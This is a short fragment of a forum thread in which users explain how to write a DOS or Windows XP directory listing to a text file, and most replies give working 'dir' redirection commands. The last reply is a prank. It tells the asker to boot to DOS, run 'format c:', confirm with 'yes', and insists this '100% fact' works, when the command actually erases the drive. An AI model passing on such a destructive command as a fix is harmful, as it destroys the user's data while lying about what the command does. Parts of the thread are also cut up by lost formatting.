It depends

contents.txt" does the trick for you?

Which of course doesn't look right there...

try "dir > contents.txt"

try (in dos)

DIR /B > files.txt

edit: Silly angled brackets.

There may well be.

I just don't know it.

Does CMD still work in xp?

If so, DIR then copy and paste the results.

Try booting to dos, and then typing

format c:

and reply with "yes"

It works

/100% fact
